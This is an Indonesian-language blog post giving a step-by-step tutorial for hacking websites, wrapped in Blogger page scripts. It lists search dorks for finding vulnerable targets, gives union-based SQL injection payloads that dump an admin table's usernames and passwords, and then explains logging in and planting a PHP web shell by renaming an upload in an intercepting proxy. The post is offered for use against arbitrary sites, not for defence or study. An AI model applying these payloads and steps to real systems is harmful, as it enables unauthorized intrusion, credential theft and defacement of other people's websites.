<style>/*<link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4645632544988684701&zx=389dad53-ad45-47a7-9acd-963a6bf69f6e' media='none' onload='if(media!='all')media='all'' rel='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4645632544988684701&zx=389dad53-ad45-47a7-9acd-963a6bf69f6e' rel='stylesheet'/></noscript>
<meta name='google-adsense-platform-account' content='ca-host-pub-1556223355139109'/>
<meta name='google-adsense-platform-domain' content='blogspot.com'/>

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3823271028074031&host=ca-host-pub-1556223355139109" crossorigin="anonymous"></script>

<!-- data-ad-client=ca-pub-3823271028074031 -->

</head><body>*/</style>

Tutorial SQL INJECTION UPLOAD SHELL

apiip

18 Jan, 2022

Tutorial SQL INJECTION UPLOAD SHELL

mazapip.blogspot.com - halo gaes balik lagi sama gua Maz apip kali ini gua bakal kasih Tutorial SQL INJECTION UPLOAD SHELL

Bahan:

-Hp/Pc

-Dork

-Apk Lighting Browser & Sandro Proxy

-Shell

Dork:

inurl:/view_product.php?id site:.

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:prod_detail.php?id=

inurl:viewphoto.php?id=

Kembangin lagi ya

Apk Sandro Proxy Klik Disini

Lightning Browser?search play store

Oke pertama kalian ngedork dulu cari target nya

Sama kaya biasa ya kita kasih ' buat cari tau vuln atau engga nya

Nah kan error langsung aja kita order by ya

Contoh

order+by+1--+- naikin terus angkanya

Web nya kembali seperti semula langsung aja kita order+by+1--+- terus naikin angka nya sampe error lagi

Di sini error nya di angka 13 nah karna error nya di 13 maka union select nya sampe 12

Contoh:

union+select+1,2,3,4,5,6,7,8,9,10,11,12--+-

Nah di sini angka togel/ajaib nya adalah 6 mah langsung aja kita dump database nya dengan dios kalo gapunya dios nya di google banyak

Kalo udah di dump cari table admin nya disini table adminya admin_master lalu kita dump username sama password nya

Dengan cara union+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13+from+admin_master--+-

Nama username dan password nya harus sesuai dengan Yang ada di table admin

Nah ini udah ketemu user dan pass nya langsung aja kita cari adlog nya dengan cara pake tools admin finder

Baca Juga Situs Yang Menyediakan Tools Hacking

Kemudian tinggal login dengan username dan password yang udah di dapat tadi

cari tempat upload nya,trus kalian pindah ke apk lighting browser buat tamper nya

Oke di sini kita upload shell tapi dengan extensi shell.php.jpg ya

buka sandro proxy nya pilih yang bagian http lalu cari yang bacaan nya post klik tahan lama sampai muncul bacaan manual request kek gitu

Lalu cari nama shell kita, trus hapus .jpg nya jadiin shell.php, kalo udah trus kita klik tombol yg gw tandain

Lalu balik ke lightning browser nya refresh halaman nya, nah muncul kek gitu ada gambar rusak/pecah klik lama lalu buka di tab baru

Nah done

Oke segitu aja tutor dari gua kali ini,semoga bermanfaat

<style>/*
<script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/1807328581-widgets.js"></script>
<script type='text/javascript'>
window['__wavt'] = 'AOuZoY6zGZBABe9G7-dnN3Z8SZYS8FxQew:1714186820122';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d4645632544988684701','//mazapip.blogspot.com/2022/01/tutorial-sql-injection-upload-shell.html','4645632544988684701');
_WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '4645632544988684701', 'title': 'membahas hal-hal yang menarik dan hanya sekedar info. ', 'url': 'https://mazapip.blogspot.com/2022/01/tutorial-sql-injection-upload-shell.html', 'canonicalUrl': 'https://mazapip.blogspot.com/2022/01/tutorial-sql-injection-upload-shell.html', 'homepageUrl': 'https://mazapip.blogspot.com/', 'searchUrl': 'https://mazapip.blogspot.com/search', 'canonicalHomepageUrl': 'https://mazapip.blogspot.com/', 'blogspotFaviconUrl': 'https://mazapip.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': 'UA-216045933-1', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - Atom\x22 href\x3d\x22https://mazapip.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - RSS\x22 href\x3d\x22https://mazapip.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/4645632544988684701/posts/default\x22 /\x3e\n\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - Atom\x22 href\x3d\x22https://mazapip.blogspot.com/feeds/4575511340673816379/comments/default\x22 /\x3e\n', 'meTag': '', 'adsenseClientId': 'ca-pub-3823271028074031', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': true, 'adsenseAutoAds': true, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/16e657cb9c57b8a2', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'Twitter', 'key': 'twitter', 'shareMessage': 'Share to Twitter', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'item', 'postId': '4575511340673816379', 'postImageThumbnailUrl': 'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkuJLQ3CUd-RzUcEr-oBFvifMagczNDcsYOTZfjki-IgEbGPxg8vKZhQERuSUagplOyok8ryd3Dx-CO_D6_8KxJfQ2KnGonwrNku1lt1nymSsbPBPTO0h4MXqBA31k9CfPsteaeLlKcdiF/s72-c/1618480349852222-0.png', 'postImageUrl': 'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkuJLQ3CUd-RzUcEr-oBFvifMagczNDcsYOTZfjki-IgEbGPxg8vKZhQERuSUagplOyok8ryd3Dx-CO_D6_8KxJfQ2KnGonwrNku1lt1nymSsbPBPTO0h4MXqBA31k9CfPsteaeLlKcdiF/s1600/1618480349852222-0.png', 'pageName': 'Tutorial SQL INJECTION UPLOAD SHELL', 'pageTitle': 'membahas hal-hal yang menarik dan hanya sekedar info. : Tutorial SQL INJECTION UPLOAD SHELL', 'metaDescription': ''}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': true, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Tutorial SQL INJECTION UPLOAD SHELL', 'description': 'Tutorial Deface Dan Upload Shell\nMaz Apip', 'featuredImage': 'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkuJLQ3CUd-RzUcEr-oBFvifMagczNDcsYOTZfjki-IgEbGPxg8vKZhQERuSUagplOyok8ryd3Dx-CO_D6_8KxJfQ2KnGonwrNku1lt1nymSsbPBPTO0h4MXqBA31k9CfPsteaeLlKcdiF/s1600/1618480349852222-0.png', 'url': 'https://mazapip.blogspot.com/2022/01/tutorial-sql-injection-upload-shell.html', 'type': 'item', 'isSingleItem': true, 'isMultipleItems': false, 'isError': false, 'isPage': false, 'isPost': true, 'isHomepage': false, 'isArchive': false, 'isLabelSearch': false, 'postId': 4575511340673816379}}, {'name': 'widgets', 'data': [{'title': 'Menu', 'type': 'LinkList', 'sectionId': 'upload-image', 'id': 'LinkList155'}, {'title': 'membahas hal-hal yang menarik dan hanya sekedar info.  (Header)', 'type': 'Header', 'sectionId': 'upload-image', 'id': 'Header1'}, {'title': 'Main Tags', 'type': 'Label', 'sectionId': 'upload-image', 'id': 'Label2'}, {'title': '', 'type': 'LinkList', 'sectionId': 'upload-image', 'id': 'LinkList152'}, {'title': 'Link List', 'type': 'LinkList', 'sectionId': 'upload-image', 'id': 'LinkList153'}, {'title': 'Popular Posts', 'type': 'PopularPosts', 'sectionId': 'upload-image', 'id': 'PopularPosts1', 'posts': [{'title': 'cara deface poc ojs', 'id': 6149305758175368731}, {'title': 'cara deface poc Alfa perl rce', 'id': 665367589033489567}, {'title': 'Cara Deface WordPress Default', 'id': 5412312465927835321}]}, {'title': 'Contact Form', 'type': 'ContactForm', 'sectionId': 'upload-image', 'id': 'ContactForm1'}, {'title': '#Advertisement', 'type': 'HTML', 'sectionId': 'before-blog', 'id': 'HTML11'}, {'title': 'Blog Posts', 'type': 'Blog', 'sectionId': 'blog-post', 'id': 'Blog1', 'posts': [{'id': '4575511340673816379', 'title': 'Tutorial SQL INJECTION UPLOAD SHELL', 'featuredImage': 'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkuJLQ3CUd-RzUcEr-oBFvifMagczNDcsYOTZfjki-IgEbGPxg8vKZhQERuSUagplOyok8ryd3Dx-CO_D6_8KxJfQ2KnGonwrNku1lt1nymSsbPBPTO0h4MXqBA31k9CfPsteaeLlKcdiF/s1600/1618480349852222-0.png', 'showInlineAds': false}], 'headerByline': {'regionName': 'header1', 'items': [{'name': 'share', 'label': ''}, {'name': 'author', 'label': 'by'}, {'name': 'timestamp', 'label': 'd MMM, yyyy'}]}, 'footerBylines': [{'regionName': 'footer2', 'items': [{'name': 'labels', 'label': ''}]}], 'allBylineItems': [{'name': 'share', 'label': ''}, {'name': 'author', 'label': 'by'}, {'name': 'timestamp', 'label': 'd MMM, yyyy'}, {'name': 'labels', 'label': ''}]}, {'title': '#Advertisement', 'type': 'HTML', 'sectionId': 'ads-post', 'id': 'HTML13'}, {'title': '#You may also like', 'type': 'HTML', 'sectionId': 'ads-post', 'id': 'HTML15'}, {'title': 'SVG Icons', 'type': 'HTML', 'sectionId': 'Blogspot-options', 'id': 'HTML24'}]}]);
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList155', 'upload-image', document.getElementById('LinkList155'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'upload-image', document.getElementById('Header1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LabelView', new _WidgetInfo('Label2', 'upload-image', document.getElementById('Label2'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList152', 'upload-image', document.getElementById('LinkList152'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList153', 'upload-image', document.getElementById('LinkList153'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_PopularPostsView', new _WidgetInfo('PopularPosts1', 'upload-image', document.getElementById('PopularPosts1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ContactFormView', new _WidgetInfo('ContactForm1', 'upload-image', document.getElementById('ContactForm1'), {'contactFormMessageSendingMsg': 'Sending...', 'contactFormMessageSentMsg': 'Your message has been sent.', 'contactFormMessageNotSentMsg': 'Message could not be sent. Please try again later.', 'contactFormInvalidEmailMsg': 'A valid email address is required.', 'contactFormEmptyMessageMsg': 'Message field cannot be empty.', 'title': 'Contact Form', 'blogId': '4645632544988684701', 'contactFormNameMsg': 'Name', 'contactFormEmailMsg': 'Email', 'contactFormMessageMsg': 'Message', 'contactFormSendMsg': 'Send', 'contactFormToken': 'AOuZoY5YgHIJZpynThOcQKa1PwO1b5kh_w:1714186820123', 'submitUrl': 'https://www.blogger.com/contact-form.do'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML11', 'before-blog', document.getElementById('HTML11'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'blog-post', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/1666805145-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/13464135-lightbox_bundle.css'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML13', 'ads-post', document.getElementById('HTML13'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML15', 'ads-post', document.getElementById('HTML15'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML24', 'Blogspot-options', document.getElementById('HTML24'), {}, 'displayModeFull'));
</script>
</body>*/</style>